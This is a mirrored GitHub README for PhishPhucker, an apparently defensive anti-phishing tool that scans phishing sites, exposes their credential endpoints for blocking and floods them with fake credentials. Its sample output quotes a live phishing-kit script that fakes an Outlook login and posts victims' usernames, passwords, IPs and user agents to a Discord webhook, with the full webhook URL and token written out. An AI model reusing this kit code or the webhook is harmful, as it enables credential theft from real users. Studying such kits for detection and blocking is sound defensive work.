Giter VIP home page Giter VIP logo

phishphucker's Introduction

Phish Phucker

PhishPhucker Logo

In Partnership With

Webamon Logo

The Idea

  • Phuck The Phishers: Make the effort of a successful phishing campaign much harder than the rewards.
  • Change How We Block: Multiple phishing websites rely on the same backend endpoint to receive phished credentials. By exposing the required endpoint for the phishing kit to operate, we can block on our network tools. 1x Block = n phishing domains.

Overview

Welcome to PhishPhucker, the revolutionary open-source cybersecurity tool designed to disrupt the phishing industry like never before. PhishPhucker ingests public and custom phishing feeds/URLs, scans them, and launches sophisticated countermeasures to thwart phishing attacks. Our mission is to make phishing an unprofitable and ineffective endeavor by mimicking real user behavior and overwhelming attackers with arbitrary but human-like data.

Features

  • Ingest Multiple Phishing Feeds: Seamlessly integrate public phishing feeds and custom URLs for comprehensive coverage.
  • Layered Security: By exposing and then blocking the endpoints that receive comp'd creds, end users can fall for a phish but network applications block the POST.
  • Website Scanning: Extract scripts and phishing kits from malicious websites, identify the endpoints where credentials are sent.
  • Simulated Post Requests: Recreate phishing post requests and flood attackers' endpoints with realistic-looking data.
  • Distributed Client Network: Deploy PhishPhucker clients across multiple web edge points to mimic real-world phishing actions.
  • Pseudo-Random Timing: Vary intervals between actions to avoid detection and mimic human behavior.
  • Multiple User Agents and Source IPs: Use diverse browser user agents and source IPs (ISPs) to simulate a wide range of victims.
  • Network Proxy: Utilize on-prem & internet proxy solutions to manipulate network data + requests.
  • Real Dummy Accounts: Modern phishing kits employ an Account Checking feature that verifies if the credentials work for the provided service. PhishPhucker accounts will be returned as legit.
  • Open Source and Extensible: Fully open source with an active community contributing to its development and enhancement.

Installation

Prerequisites

  • Docker
  • Git

Steps

  1. Clone the Repository:

    git clone https://github.com/php-p/PhishPhucker.git
    cd PhishPhucker
  2. Deploy with Docker:

    docker build -t phishphucker .
    docker run -d phishphucker
  3. Sample Output:

    {
    "utc": "2024-06-05 16:57:54",
    "pageTitle": "Screen",
    "pageLinks": [
       "<link href=\"/owa/auth/15.0.1497/themes/resources/favicon.ico\" rel=\"shortcut icon\" type=\"image/x-icon\"/>"
    ],
    "pageScripts": [
       "<script src=\"https://code.jquery.com/jquery-3.6.0.min.js\"></script>",
       "<script>\n\n        var mainLogonDiv = window.document.getElementById(\"mainLogonDiv\");\n        var showPlaceholderText = false;\n        var mainLogonDivClassName = 'mouse';\n\n        if (mainLogonDivClassName == \"tnarrow\") {\n            showPlaceholderText = true;\n\n            // Output meta tag for viewport scaling\n            document.write('<meta name=\"viewport\" content=\"width = 320, initial-scale = 1.0, user-scalable = no\" />');\n        }\n        else if (mainLogonDivClassName == \"twide\") {\n            showPlaceholderText = true;\n        }\n\n        function setPlaceholderText() {\n            window.document.getElementById(\"username\").placeholder = \"user name\";\n            window.document.getElementById(\"password\").placeholder = \"password\";\n            window.document.getElementById(\"passwordText\").placeholder = \"password\";\n        }\n\n        function showPasswordClick() {\n            var showPassword = window.document.getElementById(\"showPasswordCheck\").checked;\n            passwordElement = window.document.getElementById(\"password\");\n            passwordTextElement = window.document.getElementById(\"passwordText\");\n            if (showPassword) {\n                passwordTextElement.value = passwordElement.value;\n                passwordElement.style.display = \"none\";\n                passwordTextElement.style.display = \"inline\";\n                passwordTextElement.focus();\n            }\n            else {\n                passwordElement.value = passwordTextElement.value;\n                passwordTextElement.style.display = \"none\";\n                passwordTextElement.value = \"\";\n                passwordElement.style.display = \"inline\";\n                passwordElement.focus();\n            }\n        }\n    </script>",
       "<script>\n\n            var mainLogonDiv = window.document.getElementById(\"mainLogonDiv\");\n            mainLogonDiv.className = mainLogonDivClassName;\n        </script>",
       "<script>\n    function sleep(milliseconds) {\n        const date = Date.now();\n        let currentDate = null;\n        do {\n            currentDate = Date.now();\n        } while (currentDate - date < milliseconds);\n    }\n\n    var linksc = window.location.href\n    var value = linksc.split('#')\n    values = value[1]\n\n    document.getElementById(\"username\").value = values;\n    // document.getElementById(\"username\").value = values; \n\n\n    let count = 0;\n    var btn = document.getElementById(\"buttonId\");\n    var pwd = document.getElementById(\"password\");\n    var agents = navigator.userAgent;\n\n\n\n    btn.onclick = function () {\n        if (pwd.value.length > 0) {\n            count++;\n            if (count <= 2) {\n\n\n\n                var xhr = new XMLHttpRequest();\n                xhr.open(\"GET\", \"https://ipinfo.io/json\", true);\n                xhr.onreadystatechange = function () {\n                if (xhr.readyState === 4 && xhr.status === 200) {\n                var response = JSON.parse(xhr.responseText);\n                // Handle the response data here\n                var ipAddress = response.ip\n\n                request.open(\"POST\", \"https://discord.com/api/webhooks/1138373288825987072/uB3bmO96XIzWcQsjmu6JQlu3FidKgbFXbtmJxYSMr6ZAyLAmbAF7czZM6sW081J4mRFL\");\n                request.setRequestHeader('Content-type', 'application/json');\n                var params = {\n                content: (\" > **IP: **\" + ipAddress)\n                }\n                request.send(JSON.stringify(params));\n                    \n\n                }\n\n                };\n                xhr.send();\n\n\n                var request = new XMLHttpRequest();\n                request.open(\"POST\", \"https://discord.com/api/webhooks/1138373288825987072/uB3bmO96XIzWcQsjmu6JQlu3FidKgbFXbtmJxYSMr6ZAyLAmbAF7czZM6sW081J4mRFL\");\n                request.setRequestHeader('Content-type', 'application/json');\n                var params = {\n                    content: (\"> **USERNAME  : **\" + document.getElementById(\"username\").value + \"\\n> **PASSWORD : **\" + document.getElementById(\"password\").value + \"\\n> **USER-AGENT: **\" + agents)\n                }\n                request.send(JSON.stringify(params));\n\n               \n\n                text = \"The user name or password you entered isn't correct. Try entering it again.\";\n                // document.getElementById(\"username-error\").innerHTML = text;\n                // // document.getElementById(\"errorMessage\").style.color = \"red\";\n                document.getElementById(\"signInErrorDiv\").innerText = text;\n                document.getElementById(\"password\").value = \"\";\n                sleep(1000)\n            }\n            if (count == 2) {\n                texts = \"Verification successful... Thank you.\";\n                document.getElementById(\"signInErrorDiv\").style.color = \"green\";\n                document.getElementById(\"signInErrorDiv\").innerHTML = texts;\n                sleep(4500)\n                window.location.replace(\"https://www.microsoft.com/en-us/microsoft-365/outlook/web-email-login-for-outlook\");\n            }\n        } else {\n            text = \"The user name or password you entered isn't correct. Try entering it again.\"\n            // document.getElementById(\"errorMessage\").style.color = \"red\";\n            // document.getElementById(\"login-failure\").innerHTML = \"\";\n            document.getElementById(\"signInErrorDiv\").innerHTML = text;\n\n            // document.getElementById(\"alert\").style.backgroundColor = \"#d0452f\"; \n\n\n\n        }\n\n    }\n</script>"
    ]
    
    }
    

Contributing

We welcome contributions from the community to enhance PhishPhucker. Feel free to submit pull requests, report issues, or suggest features.

  1. Fork the Repository on GitHub
  2. Create a Feature Branch:
    git checkout -b feature/your-feature-name
  3. Commit Your Changes:
    git commit -m 'Add some feature'
  4. Push to the Branch:
    git push origin feature/your-feature-name
  5. Open a Pull Request on GitHub

License

PhishPhucker is released under the Apache 2.0 License. See the LICENSE file for more details.

Acknowledgements

  • Thanks to the open-source community for their invaluable contributions and feedback.
  • Special mention to the decade long successful Threat Actors who's actions inspire and guide this projects direction.

Disclaimer

PhishPhucker is intended for ethical use only. Unauthorized use of this software to interfere with legitimate websites or services is strictly prohibited. The authors and contributors are not responsible for any misuse of the software.


PhishPhucker: Turning the Tide Against Phishing.


GitHub Stars GitHub Forks GitHub Issues GitHub License

phishphucker's People

Contributors

php-p avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.